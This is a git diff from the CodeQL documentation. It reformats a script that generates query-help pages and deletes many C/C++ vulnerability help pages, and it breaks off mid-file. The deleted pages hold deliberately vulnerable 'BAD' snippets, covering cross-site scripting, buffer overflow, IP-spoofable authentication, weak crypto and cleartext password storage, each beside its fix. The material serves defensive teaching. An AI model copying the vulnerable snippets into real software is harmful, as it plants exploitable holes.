delete mode 100644 docs/language/query-help/python/HardcodedCredentials.md delete mode 100644 docs/language/query-help/python/IncompleteHostnameRegExp.md delete mode 100644 docs/language/query-help/python/IncompleteUrlSubstringSanitization.md delete mode 100644 docs/language/query-help/python/InsecureDefaultProtocol.md delete mode 100644 docs/language/query-help/python/InsecureProtocol.md delete mode 100644 docs/language/query-help/python/InsecureTemporaryFile.md delete mode 100644 docs/language/query-help/python/Jinja2WithoutEscaping.md delete mode 100644 docs/language/query-help/python/MissingHostKeyValidation.md delete mode 100644 docs/language/query-help/python/PathInjection.md delete mode 100644 docs/language/query-help/python/ReflectedXss.md delete mode 100644 docs/language/query-help/python/RequestWithoutValidation.md delete mode 100644 docs/language/query-help/python/SqlInjection.md delete mode 100644 docs/language/query-help/python/StackTraceExposure.md delete mode 100644 docs/language/query-help/python/TarSlip.md delete mode 100644 docs/language/query-help/python/UnsafeDeserialization.md delete mode 100644 docs/language/query-help/python/UrlRedirect.md delete mode 100644 docs/language/query-help/python/UseofInput.md delete mode 100644 docs/language/query-help/python/WeakCrypto.md delete mode 100644 docs/language/query-help/python/WeakFilePermissions.md delete mode 100644 docs/language/query-help/query-lists/query-list.csv delete mode 100644 docs/language/query-help/toc-cpp.rst delete mode 100644 docs/language/query-help/toc-csharp.rst delete mode 100644 docs/language/query-help/toc-go.rst delete mode 100644 docs/language/query-help/toc-java.rst delete mode 100644 docs/language/query-help/toc-javascript.rst delete mode 100644 docs/language/query-help/toc-python.rst diff --git a/docs/language/query-help-markdown.py b/docs/language/query-help-markdown.py index 6deb12747c9..6595f73733d 100644 --- a/docs/language/query-help-markdown.py +++ b/docs/language/query-help-markdown.py @@ -6,10 +6,11 @@ import sys import os # Define which languages and query packs to consider -languages = [ "cpp", "csharp", "go", "java", "javascript", "python"] +languages = ["cpp", "csharp", "go", "java", "javascript", "python"] # Running generate query-help with "security-and-quality.qls" generates errors, so just use these two suites for now -packs = [ "code-scanning", "security-extended" ] +packs = ["code-scanning", "security-extended"] + def prefix_repo_nwo(filename): """ @@ -19,32 +20,37 @@ def prefix_repo_nwo(filename): /home/alice/git/ql/java/ql/src/MyQuery.ql becomes: github/codeql/java/ql/src/MyQuery.ql - + If we can't detect a known NWO (e.g. github/codeql, github/codeql-go), the path will be truncated to the root of the git repo: ql/java/ql/src/MyQuery.ql - + If the filename is not part of a Git repo, the return value is the same as the input value: the whole path. """ dirname = os.path.dirname(filename) try: - git_toplevel_dir_subp = subprocess_run(["git", "-C", dirname, "rev-parse", "--show-toplevel"]) + git_toplevel_dir_subp = subprocess_run( + ["git", "-C", dirname, "rev-parse", "--show-toplevel"]) except: # Not a Git repo return filename - + git_toplevel_dir = git_toplevel_dir_subp.stdout.strip() - + # Detect 'github/codeql' and 'github/codeql-go' repositories by checking the remote (it's a bit # of a hack but will work in most cases, as long as the remotes have 'codeql' and 'codeql-go' # in the URL - git_remotes = subprocess_run(["git","-C",dirname,"remote","-v"]).stdout.strip() + git_remotes = subprocess_run( + ["git", "-C", dirname, "remote", "-v"]).stdout.strip() - if "codeql-go" in git_remotes: prefix = "github/codeql-go" - elif "codeql" in git_remotes: prefix = "github/codeql" - else: prefix = os.path.basename(git_toplevel_dir) + if "codeql-go" in git_remotes: + prefix = "github/codeql-go" + elif "codeql" in git_remotes: + prefix = "github/codeql" + else: + prefix = os.path.basename(git_toplevel_dir) return os.path.join(prefix, filename[len(git_toplevel_dir)+1:]) @@ -59,9 +65,11 @@ def single_spaces(input): def get_query_metadata(key, metadata, queryfile): """Returns query metadata or prints a warning to stderr if a particular piece of metadata is not available.""" - if key in metadata: return single_spaces(metadata[key]) + if key in metadata: + return single_spaces(metadata[key]) query_id = metadata['id'] if 'id' in metadata else 'unknown' - print("Warning: no '%s' metadata for query with ID '%s' (%s)" % (key, query_id, queryfile), file=sys.stderr) + print("Warning: no '%s' metadata for query with ID '%s' (%s)" % + (key, query_id, queryfile), file=sys.stderr) return "" @@ -69,14 +77,15 @@ def subprocess_run(cmd): """Runs a command through subprocess.run, with a few tweaks. Raises an Exception if exit code != 0.""" return subprocess.run(cmd, capture_output=True, text=True, env=os.environ.copy(), check=True) -try: # Check for `git` on path - subprocess_run(["git","--version"]) + +try: # Check for `git` on path + subprocess_run(["git", "--version"]) except Exception as e: print("Error: couldn't invoke 'git'. Is it on the path? Aborting.", file=sys.stderr) raise e -try: # Check for `codeql` on path - subprocess_run(["codeql","--version"]) +try: # Check for `codeql` on path + subprocess_run(["codeql", "--version"]) except Exception as e: print("Error: couldn't invoke CodeQL CLI 'codeql'. Is it on the path? Aborting.", file=sys.stderr) raise e @@ -87,12 +96,12 @@ except Exception as e: # # (and assumes the codeql-go repo is in a similar location) -#codeql_search_path = "./ql" or "./codeql-go" # will be extended further down - +# codeql_search_path = "./ql" or "./codeql-go" # will be extended further down + # Extend CodeQL search path by detecting root of the current Git repo (if any). This means that you # can run this script from any location within the CodeQL git repository. try: - git_toplevel_dir = subprocess_run(["git","rev-parse","--show-toplevel"]) + git_toplevel_dir = subprocess_run(["git", "rev-parse", "--show-toplevel"]) # Current working directory is in a Git repo. Add it to the search path, just in case it's the CodeQL repo #git_toplevel_dir = git_toplevel_dir.stdout.strip() @@ -103,90 +112,104 @@ except: pass # Iterate over all languages and packs, and resolve which queries are part of those packs -for lang in languages: +for lang in languages: # Define empty dictionary to store @name:filename pairs to generate alphabetically sorted Sphinx toctree - index_file_dictionary = {} + index_file_dictionary = {} for pack in packs: # Get absolute paths to queries in this pack by using 'codeql resolve queries' try: - queries_subp = subprocess_run(["codeql","resolve","queries","--search-path", codeql_search_path, "%s-%s.qls" % (lang, pack)]) + queries_subp = subprocess_run( + ["codeql", "resolve", "queries", "--search-path", codeql_search_path, "%s-%s.qls" % (lang, pack)]) except Exception as e: # Resolving queries might go wrong if the github/codeql and github/codeql-go repositories are not # on the search path. print( - "Warning: couldn't find query pack '%s' for language '%s'. Do you have the right repositories in the right places (search path: '%s')?" % (pack, lang, codeql_search_path), + "Warning: couldn't find query pack '%s' for language '%s'. Do you have the right repositories in the right places (search path: '%s')?" % ( + pack, lang, codeql_search_path), file=sys.stderr - ) + ) continue # Define empty dictionary to store @name:filename pairs to generate alphabetically sorted Sphinx toctree later - index_file_dictionary = {} + index_file_dictionary = {} - # Investigate metadata for every query by using 'codeql resolve metadata' + # Investigate metadata for every query by using 'codeql resolve metadata' for queryfile in queries_subp.stdout.strip().split("\n"): - query_metadata_json = subprocess_run(["codeql","resolve","metadata",queryfile]).stdout.strip() + query_metadata_json = subprocess_run( + ["codeql", "resolve", "metadata", queryfile]).stdout.strip() meta = json.loads(query_metadata_json) - + # Turn an absolute path to a query file into an nwo-prefixed path (e.g. github/codeql/java/ql/src/....) queryfile_nwo = prefix_repo_nwo(queryfile) - - # Generate the query help for each query - query_help = subprocess_run(["codeql","generate","query-help","--format=markdown","--warnings=hide",queryfile]).stdout.strip() + + # Generate the query help for each query + query_help = subprocess_run( + ["codeql", "generate", "query-help", "--format=markdown", "--warnings=hide", queryfile]).stdout.strip() # Pull out relevant query metadata properties that we want to display in the query help query_name_meta = get_query_metadata('name', meta, queryfile) - query_description = get_query_metadata('description', meta, queryfile) - query_id = "ID: " + get_query_metadata('id', meta, queryfile) + "\n" - query_kind = "Kind: " + get_query_metadata('kind', meta, queryfile) + "\n" - query_severity = "Severity: " + get_query_metadata('problem.severity', meta, queryfile) + "\n" - query_precision = "Precision: " + get_query_metadata('precision', meta, queryfile) + "\n" - query_tags = "Tags: " + get_query_metadata('tags', meta, queryfile) + "\n" - + query_description = get_query_metadata( + 'description', meta, queryfile) + query_id = "ID: " + \ + get_query_metadata('id', meta, queryfile) + "\n" + query_kind = "Kind: " + \ + get_query_metadata('kind', meta, queryfile) + "\n" + query_severity = "Severity: " + \ + get_query_metadata('problem.severity', meta, queryfile) + "\n" + query_precision = "Precision: " + \ + get_query_metadata('precision', meta, queryfile) + "\n" + query_tags = "Tags: " + \ + get_query_metadata('tags', meta, queryfile) + "\n" + # Build a link to the query source file for display in the query help if "go" in prefix_repo_nwo(queryfile): - transform_link = prefix_repo_nwo(queryfile).replace("codeql-go", "codeql-go/tree/main").replace(" ", "%20").replace("\\","/") - else: - transform_link = prefix_repo_nwo(queryfile).replace("codeql", "codeql/tree/main").replace(" ", "%20").replace("\\","/") - query_link = "[Click to see the query in the CodeQL repository](https://github.com/" + transform_link + ")\n" - + transform_link = prefix_repo_nwo(queryfile).replace( + "codeql-go", "codeql-go/tree/main").replace(" ", "%20").replace("\\", "/") + else: + transform_link = prefix_repo_nwo(queryfile).replace( + "codeql", "codeql/tree/main").replace(" ", "%20").replace("\\", "/") + query_link = "[Click to see the query in the CodeQL repository](https://github.com/" + \ + transform_link + ")\n" + # Join metadata into a literal block and add query link below - meta_string = "\n"*2 + "```\n" + query_id + query_kind + query_severity + query_precision + query_tags + "\n" + "```\n" + query_link + "\n" - + meta_string = "\n"*2 + "```\n" + query_id + query_kind + query_severity + \ + query_precision + query_tags + "\n" + "```\n" + query_link + "\n" + # Insert metadata block into query help directly under title full_help = query_help.replace("\n", meta_string, 1) - + # Basename of query, used to make markdown output filepath query_name = os.path.split(queryfile_nwo)[1][:-3] - - # Populate index_file_dictionary with @name extracted from metadata and corresponding query filename - index_file_dictionary[query_name_meta] = lang + "/" + query_name - + + # Populate index_file_dictionary with @name extracted from metadata and corresponding query filename + index_file_dictionary[query_name_meta] = lang + "/" + query_name + # Make paths for output of the form: query-help-markdown//.md docs_dir = 'query-help' md_dir_path = os.path.join(docs_dir, lang) md_file_path = os.path.join(md_dir_path, query_name + ".md") - - # Make directories for output paths they don't already exist + + # Make directories for output paths they don't already exist if not os.path.isdir(md_dir_path): os.makedirs(md_dir_path) - - # Generate query help at chosen path if output file doesn't already exist + + # Generate query help at chosen path if output file doesn't already exist if not os.path.exists(md_file_path): file = open(md_file_path, "x") file.write(full_help) file.close() - - # Sort index_file_dictionary alphabetically by @name key, and create column of filename values + + # Sort index_file_dictionary alphabetically by @name key, and create column of filename values sorted_index = dict(sorted(index_file_dictionary.items())) sorted_index = ("\n" + " ").join(sorted_index.values()) - + # Add directives to make sorted_index a valid toctree for sphinx source files toc_directive = ".. toctree::\n :titlesonly:\n\n " toc_include = toc_directive + sorted_index - - # Write toctree to rst + + # Write toctree to rst toc_file = os.path.join(docs_dir, "toc-" + lang + ".rst") file = open(toc_file, "x") file.write(toc_include) - file.close() \ No newline at end of file + file.close() diff --git a/docs/language/query-help/conf.py b/docs/language/query-help/conf.py index c108574413f..d80f8079def 100644 --- a/docs/language/query-help/conf.py +++ b/docs/language/query-help/conf.py @@ -45,11 +45,11 @@ project = u'CodeQL query help' # Add md parser to process query help markdown files -source_parsers = { - '.md': 'recommonmark.parser.CommonMarkParser', -} +#source_parsers = { +# '.md': 'recommonmark.parser.CommonMarkParser', +#} -source_suffix = ['.rst', '.md'] +source_suffix = ['.rst'] # -- Project-specifc options for HTML output ---------------------------------------------- diff --git a/docs/language/query-help/cpp/AllocaInLoop.md b/docs/language/query-help/cpp/AllocaInLoop.md deleted file mode 100644 index 36d8ad42f64..00000000000 --- a/docs/language/query-help/cpp/AllocaInLoop.md +++ /dev/null @@ -1,53 +0,0 @@ -# Call to alloca in a loop - -``` -ID: cpp/alloca-in-loop -Kind: problem -Severity: warning -Precision: high -Tags: reliability correctness security external/cwe/cwe-770 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Likely%20Bugs/Memory%20Management/AllocaInLoop.ql) - -The `alloca` macro allocates memory by expanding the current stack frame. Invoking `alloca` within a loop may lead to a stack overflow because the memory is not released until the function returns. - - -## Recommendation -Consider invoking `alloca` once outside the loop, or using `malloc` or `new` to allocate memory on the heap if the allocation must be done inside the loop. - - -## Example -The variable `path` is allocated inside a loop with `alloca`. Consequently, storage for all copies of the path is present in the stack frame until the end of the function. - - -```cpp -char *dir_path; -char **dir_entries; -int count; - -for (int i = 0; i < count; i++) { - char *path = (char*)alloca(strlen(dir_path) + strlen(dir_entry[i]) + 2); - // use path -} - -``` -In the revised example, `path` is allocated with `malloc` and freed at the end of the loop. - - -```cpp -char *dir_path; -char **dir_entries; -int count; - -for (int i = 0; i < count; i++) { - char *path = (char*)malloc(strlen(dir_path) + strlen(dir_entry[i]) + 2); - // use path - free(path); -} - -``` - -## References -* Linux Programmer's Manual: [ALLOCA(3)](http://man7.org/linux/man-pages/man3/alloca.3.html). -* Common Weakness Enumeration: [CWE-770](https://cwe.mitre.org/data/definitions/770.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/ArithmeticUncontrolled.md b/docs/language/query-help/cpp/ArithmeticUncontrolled.md deleted file mode 100644 index 39f00fc3b28..00000000000 --- a/docs/language/query-help/cpp/ArithmeticUncontrolled.md +++ /dev/null @@ -1,50 +0,0 @@ -# Uncontrolled data in arithmetic expression - -``` -ID: cpp/uncontrolled-arithmetic -Kind: path-problem -Severity: warning -Precision: medium -Tags: security external/cwe/cwe-190 external/cwe/cwe-191 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-190/ArithmeticUncontrolled.ql) - -Performing calculations on uncontrolled data can result in integer overflows unless the input is validated. - -If the data is not under your control, and can take extremely large values, even arithmetic operations that would usually result in a small change in magnitude may result in overflows. - - -## Recommendation -Always guard against overflow in arithmetic operations on uncontrolled data by doing one of the following: - -* Validate the data. -* Define a guard on the arithmetic expression, so that the operation is performed only if the result can be known to be less than, or equal to, the maximum value for the type, for example `INT_MAX`. -* Use a wider type, so that larger input values do not cause overflow. - -## Example -In this example, a random integer is generated. Because the value is not controlled by the programmer, it could be extremely large. Performing arithmetic operations on this value could therefore cause an overflow. To avoid this happening, the example shows how to perform a check before performing an arithmetic operation. - - -```c -int main(int argc, char** argv) { - int i = rand(); - // BAD: potential overflow - int j = i + 1000; - - // ... - - int n = rand(); - int k; - // GOOD: use a guard to prevent overflow - if (n < INT_MAX-1000) - k = n + 1000; - else - k = INT_MAX; -} - -``` - -## References -* Common Weakness Enumeration: [CWE-190](https://cwe.mitre.org/data/definitions/190.html). -* Common Weakness Enumeration: [CWE-191](https://cwe.mitre.org/data/definitions/191.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/AuthenticationBypass.md b/docs/language/query-help/cpp/AuthenticationBypass.md deleted file mode 100644 index ad539c508d7..00000000000 --- a/docs/language/query-help/cpp/AuthenticationBypass.md +++ /dev/null @@ -1,61 +0,0 @@ -# Authentication bypass by spoofing - -``` -ID: cpp/user-controlled-bypass -Kind: path-problem -Severity: warning -Precision: medium -Tags: security external/cwe/cwe-290 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-290/AuthenticationBypass.ql) - -Code which relies on an IP address or domain name for authentication can be exploited by an attacker who spoofs their address. - - -## Recommendation -IP address verification can be a useful part of an authentication scheme, but it should not be the single factor required for authentication. Make sure that other authentication methods are also in place. - - -## Example -In this example (taken from [CWE-290: Authentication Bypass by Spoofing](http://cwe.mitre.org/data/definitions/290.html)), the client is authenticated by checking that its IP address is `127.0.0.1`. An attacker might be able to bypass this authentication by spoofing their IP address. - - -```cpp - -#define BUFFER_SIZE (4 * 1024) - -void receiveData() -{ - int sock; - sockaddr_in addr, addr_from; - char buffer[BUFFER_SIZE]; - int msg_size; - socklen_t addr_from_len; - - // configure addr - memset(&addr, 0, sizeof(addr)); - addr.sin_family = AF_INET; - addr.sin_port = htons(1234); - addr.sin_addr.s_addr = INADDR_ANY; - - // create and bind the socket - sock = socket(AF_INET, SOCK_DGRAM, 0); - bind(sock, (sockaddr *)&addr, sizeof(addr)); - - // receive message - addr_from_len = sizeof(addr_from); - msg_size = recvfrom(sock, buffer, BUFFER_SIZE, 0, (sockaddr *)&addr_from, &addr_from_len); - - // BAD: the address is controllable by the user, so it - // could be spoofed to bypass the security check below. - if ((msg_size > 0) && (strcmp("127.0.0.1", inet_ntoa(addr_from.sin_addr)) == 0)) - { - // ... - } -} - -``` - -## References -* Common Weakness Enumeration: [CWE-290](https://cwe.mitre.org/data/definitions/290.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/BadAdditionOverflowCheck.md b/docs/language/query-help/cpp/BadAdditionOverflowCheck.md deleted file mode 100644 index 1ecc9184f3d..00000000000 --- a/docs/language/query-help/cpp/BadAdditionOverflowCheck.md +++ /dev/null @@ -1,46 +0,0 @@ -# Bad check for overflow of integer addition - ->ID: cpp/bad-addition-overflow-check -> ->Kind: problem -> ->Severity: error -> ->Precision: very-high ->Tags: reliability correctness security external/cwe/cwe-190 external/cwe/cwe-192 - -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Likely%20Bugs/Arithmetic/BadAdditionOverflowCheck.ql) - -Checking for overflow of integer addition needs to be done with care, because automatic type promotion can prevent the check from working as intended, with the same value (`true` or `false`) always being returned. - - -## Recommendation -Use an explicit cast to make sure that the result of the addition is not implicitly converted to a larger type. - - -## Example - -```cpp -bool checkOverflow(unsigned short x, unsigned short y) { - // BAD: comparison is always false due to type promotion - return (x + y < x); -} - -``` -On a typical architecture where `short` is 16 bits and `int` is 32 bits, the operands of the addition are automatically promoted to `int`, so it cannot overflow and the result of the comparison is always false. - -The code below implements the check correctly, by using an explicit cast to make sure that the result of the addition is `unsigned short` (which may overflow, in which case the comparison would evaluate to `true`). - - -```cpp -bool checkOverflow(unsigned short x, unsigned short y) { - return ((unsigned short)(x + y) < x); // GOOD: explicit cast -} - -``` - -## References -* [Preserving Rules](http://c-faq.com/expr/preservingrules.html) -* [Understand integer conversion rules](https://www.securecoding.cert.org/confluence/plugins/servlet/mobile#content/view/20086942) -* Common Weakness Enumeration: [CWE-190](https://cwe.mitre.org/data/definitions/190.html). -* Common Weakness Enumeration: [CWE-192](https://cwe.mitre.org/data/definitions/192.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/BadlyBoundedWrite.md b/docs/language/query-help/cpp/BadlyBoundedWrite.md deleted file mode 100644 index 05223acc7c5..00000000000 --- a/docs/language/query-help/cpp/BadlyBoundedWrite.md +++ /dev/null @@ -1,42 +0,0 @@ -# Badly bounded write - -``` -ID: cpp/badly-bounded-write -Kind: problem -Severity: error -Precision: high -Tags: reliability security external/cwe/cwe-120 external/cwe/cwe-787 external/cwe/cwe-805 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-120/BadlyBoundedWrite.ql) - -The program performs a buffer copy or write operation with an incorrect upper limit on the size of the copy. A sufficiently long input will overflow the target buffer. In addition to causing program instability, techniques exist which may allow an attacker to use this vulnerability to execute arbitrary code. - - -## Recommendation -Use preprocessor defines to specify the size of buffers, and use the same defines as arguments to `strncpy`, `snprintf` etc. This technique will ensure that buffer sizes are always specified correctly so that no overflow occurs. - - -## Example - -```c -void congratulateUser(const char *userName) -{ - char buffer[80]; - - // BAD: even though snprintf is used, this could overflow the buffer - // because the size specified is too large. - snprintf(buffer, 256, "Congratulations, %s!", userName); - - MessageBox(hWnd, buffer, "New Message", MB_OK); -} -``` -In this example, the developer has used `snprintf` to control the maximum number of characters that can be written to `buffer`. Unfortunately, perhaps due to modifications since the code was first written, a limited buffer overrun can still occur because the size argument to `snprintf` is larger than the actual size of the buffer. - -To fix the problem, either the second argument to `snprintf` should be changed to 80, or the buffer extended to 256 characters. A further improvement is to use a preprocessor define so that the size is only specified in one place, potentially preventing future recurrence of this issue. - - -## References -* Common Weakness Enumeration: [CWE-120](https://cwe.mitre.org/data/definitions/120.html). -* Common Weakness Enumeration: [CWE-787](https://cwe.mitre.org/data/definitions/787.html). -* Common Weakness Enumeration: [CWE-805](https://cwe.mitre.org/data/definitions/805.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/BrokenCryptoAlgorithm.md b/docs/language/query-help/cpp/BrokenCryptoAlgorithm.md deleted file mode 100644 index 05f08d4667d..00000000000 --- a/docs/language/query-help/cpp/BrokenCryptoAlgorithm.md +++ /dev/null @@ -1,46 +0,0 @@ -# Use of a broken or risky cryptographic algorithm - -``` -ID: cpp/weak-cryptographic-algorithm -Kind: problem -Severity: error -Precision: medium -Tags: security external/cwe/cwe-327 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-327/BrokenCryptoAlgorithm.ql) - -Using broken or weak cryptographic algorithms can leave data vulnerable to being decrypted. - -Many cryptographic algorithms provided by cryptography libraries are known to be weak, or flawed. Using such an algorithm means that an attacker may be able to easily decrypt the encrypted data. - - -## Recommendation -Ensure that you use a strong, modern cryptographic algorithm. Use at least AES-128 or RSA-2048. - - -## Example -The following code shows an example of using the `advapi` windows API to decrypt some data. When creating a key, you must specify which algorithm to use. The first example uses DES which is an older algorithm that is now considered weak. The second example uses AES, which is a strong modern algorithm. - - -```c -void advapi() { - HCRYPTPROV hCryptProv; - HCRYPTKEY hKey; - HCRYPTHASH hHash; - // other preparation goes here - - // BAD: use 3DES for key - CryptDeriveKey(hCryptProv, CALG_3DES, hHash, 0, &hKey); - - // GOOD: use AES - CryptDeriveKey(hCryptProv, CALG_AES_256, hHash, 0, &hKey); -} - - -``` - -## References -* NIST, FIPS 140 Annex a: [ Approved Security Functions](http://csrc.nist.gov/publications/fips/fips140-2/fips1402annexa.pdf). -* NIST, SP 800-131A: [ Transitions: Recommendation for Transitioning the Use of Cryptographic Algorithms and Key Lengths](http://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-131Ar1.pdf). -* Common Weakness Enumeration: [CWE-327](https://cwe.mitre.org/data/definitions/327.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/CastArrayPointerArithmetic.md b/docs/language/query-help/cpp/CastArrayPointerArithmetic.md deleted file mode 100644 index a878125a384..00000000000 --- a/docs/language/query-help/cpp/CastArrayPointerArithmetic.md +++ /dev/null @@ -1,48 +0,0 @@ -# Upcast array used in pointer arithmetic - -``` -ID: cpp/upcast-array-pointer-arithmetic -Kind: path-problem -Severity: warning -Precision: high -Tags: correctness reliability security external/cwe/cwe-119 external/cwe/cwe-843 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Likely%20Bugs/Conversion/CastArrayPointerArithmetic.ql) - -A pointer to a derived class may be implicitly converted to a pointer to its base type when passed as an argument to a function expecting a pointer to the base type. If pointer arithmetic or an array dereference is then used, it will be performed using the size of the base type. This can lead to reading data from unexpected fields in the derived type. - - -## Recommendation -Only convert pointers to single objects. If you must work with a sequence of objects that are converted to a base type, use an array of pointers rather than a pointer to an array. - - -## Example - -```cpp -class Base { -public: - int x; -} - -class Derived: public Base { -public: - int y; -}; - -void dereference_base(Base *b) { - b[2].x; -} - -void dereference_derived(Derived *d) { - d[2].x; -} - -void test () { - Derived[4] d; - dereference_base(d); // BAD: implicit conversion to Base* - - dereference_derived(d); // GOOD: implicit conversion to Derived*, which will be the right size -} - -``` \ No newline at end of file diff --git a/docs/language/query-help/cpp/CgiXss.md b/docs/language/query-help/cpp/CgiXss.md deleted file mode 100644 index 6337040a100..00000000000 --- a/docs/language/query-help/cpp/CgiXss.md +++ /dev/null @@ -1,54 +0,0 @@ -# CGI script vulnerable to cross-site scripting - -``` -ID: cpp/cgi-xss -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-079 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-079/CgiXss.ql) - -Directly writing an HTTP request parameter back to a web page allows for a cross-site scripting vulnerability. The data is displayed in a user's web browser as belonging to one site, but it is provided by some other site that the user browses to. In effect, such an attack allows one web site to insert content in the other one. - -For web servers implemented with the Common Gateway Interface (CGI), HTTP parameters are supplied via the `QUERY_STRING` environment variable. - - -## Recommendation -To guard against cross-site scripting, consider escaping special characters before writing the HTTP parameter back to the page. - - -## Example -In the following example, the `bad_server` writes a parameter directly back to the HTML page that the user will see. The `good_server` first escapes any HTML special characters before writing to the HTML page. - - -```c -void bad_server() { - char* query = getenv("QUERY_STRING"); - puts("

    Query results for "); - // BAD: Printing out an HTTP parameter with no escaping - puts(query); - puts("\n

    \n"); - puts(do_search(query)); -} - -void good_server() { - char* query = getenv("QUERY_STRING"); - puts("

    Query results for "); - // GOOD: Escape HTML characters before adding to a page - char* query_escaped = escape_html(query); - puts(query_escaped); - free(query_escaped); - - puts("\n

    \n"); - puts(do_search(query)); -} - -``` - -## References -* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html). -* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting). -* IETF Tools: [The Common Gateway Specification (CGI)](http://tools.ietf.org/html/draft-robinson-www-interface-00). -* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/CleartextBufferWrite.md b/docs/language/query-help/cpp/CleartextBufferWrite.md deleted file mode 100644 index 6b3968157e6..00000000000 --- a/docs/language/query-help/cpp/CleartextBufferWrite.md +++ /dev/null @@ -1,45 +0,0 @@ -# Cleartext storage of sensitive information in buffer - -``` -ID: cpp/cleartext-storage-buffer -Kind: path-problem -Severity: warning -Precision: medium -Tags: security external/cwe/cwe-312 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-311/CleartextBufferWrite.ql) - -Sensitive information that is stored unencrypted is accessible to an attacker who gains access to the storage. - - -## Recommendation -Ensure that sensitive information is always encrypted before being stored, especially before writing to a file. It may be wise to encrypt information before it is put into a buffer that may be readable in memory. - -In general, decrypt sensitive information only at the point where it is necessary for it to be used in cleartext. - - -## Example -The following example shows two ways of storing user credentials in a file. In the 'BAD' case, the credentials are simply stored in cleartext. In the 'GOOD' case, the credentials are encrypted before storing them. - - -```c -void writeCredentials() { - char *password = "cleartext password"; - FILE* file = fopen("credentials.txt", "w"); - - // BAD: write password to disk in cleartext - fputs(password, file); - - // GOOD: encrypt password first - char *encrypted = encrypt(password); - fputs(encrypted, file); -} - - -``` - -## References -* M. Dowd, J. McDonald and J. Schuhm, *The Art of Software Security Assessment*, 1st Edition, Chapter 2 - 'Common Vulnerabilities of Encryption', p. 43. Addison Wesley, 2006. -* M. Howard and D. LeBlanc, *Writing Secure Code*, 2nd Edition, Chapter 9 - 'Protecting Secret Data', p. 299. Microsoft, 2002. -* Common Weakness Enumeration: [CWE-312](https://cwe.mitre.org/data/definitions/312.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/CleartextFileWrite.md b/docs/language/query-help/cpp/CleartextFileWrite.md deleted file mode 100644 index 1fbe122b393..00000000000 --- a/docs/language/query-help/cpp/CleartextFileWrite.md +++ /dev/null @@ -1,45 +0,0 @@ -# Cleartext storage of sensitive information in file - -``` -ID: cpp/cleartext-storage-file -Kind: problem -Severity: warning -Precision: medium -Tags: security external/cwe/cwe-313 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-311/CleartextFileWrite.ql) - -Sensitive information that is stored unencrypted is accessible to an attacker who gains access to the storage. - - -## Recommendation -Ensure that sensitive information is always encrypted before being stored, especially before writing to a file. It may be wise to encrypt information before it is put into a buffer that may be readable in memory. - -In general, decrypt sensitive information only at the point where it is necessary for it to be used in cleartext. - - -## Example -The following example shows two ways of storing user credentials in a file. In the 'BAD' case, the credentials are simply stored in cleartext. In the 'GOOD' case, the credentials are encrypted before storing them. - - -```c -void writeCredentials() { - char *password = "cleartext password"; - FILE* file = fopen("credentials.txt", "w"); - - // BAD: write password to disk in cleartext - fputs(password, file); - - // GOOD: encrypt password first - char *encrypted = encrypt(password); - fputs(encrypted, file); -} - - -``` - -## References -* M. Dowd, J. McDonald and J. Schuhm, *The Art of Software Security Assessment*, 1st Edition, Chapter 2 - 'Common Vulnerabilities of Encryption', p. 43. Addison Wesley, 2006. -* M. Howard and D. LeBlanc, *Writing Secure Code*, 2nd Edition, Chapter 9 - 'Protecting Secret Data', p. 299. Microsoft, 2002. -* Common Weakness Enumeration: [CWE-313](https://cwe.mitre.org/data/definitions/313.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/CleartextSqliteDatabase.md b/docs/language/query-help/cpp/CleartextSqliteDatabase.md deleted file mode 100644 index be5cba5b22d..00000000000 --- a/docs/language/query-help/cpp/CleartextSqliteDatabase.md +++ /dev/null @@ -1,67 +0,0 @@ -# Cleartext storage of sensitive information in an SQLite database - -``` -ID: cpp/cleartext-storage-database -Kind: path-problem -Severity: warning -Precision: medium -Tags: security external/cwe/cwe-313 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-313/CleartextSqliteDatabase.ql) - -Sensitive information that is stored in an unencrypted SQLite database is accessible to an attacker who gains access to the database. - - -## Recommendation -Ensure that if sensitive information is stored in a database then the database is always encrypted. - - -## Example -The following example shows two ways of storing information in an SQLite database. In the 'BAD' case, the credentials are simply stored in cleartext. In the 'GOOD' case, the database (and thus the credentials) are encrypted. - - -```c - -void bad(void) { - char *password = "cleartext password"; - sqlite3 *credentialsDB; - sqlite3_stmt *stmt; - - if (sqlite3_open("credentials.db", &credentialsDB) == SQLITE_OK) { - // BAD: database opened without encryption being enabled - sqlite3_exec(credentialsDB, "CREATE TABLE IF NOT EXISTS creds (password TEXT);", NULL, NULL, NULL); - if (sqlite3_prepare_v2(credentialsDB, "INSERT INTO creds(password) VALUES(?)", -1, &stmt, NULL) == SQLITE_OK) { - 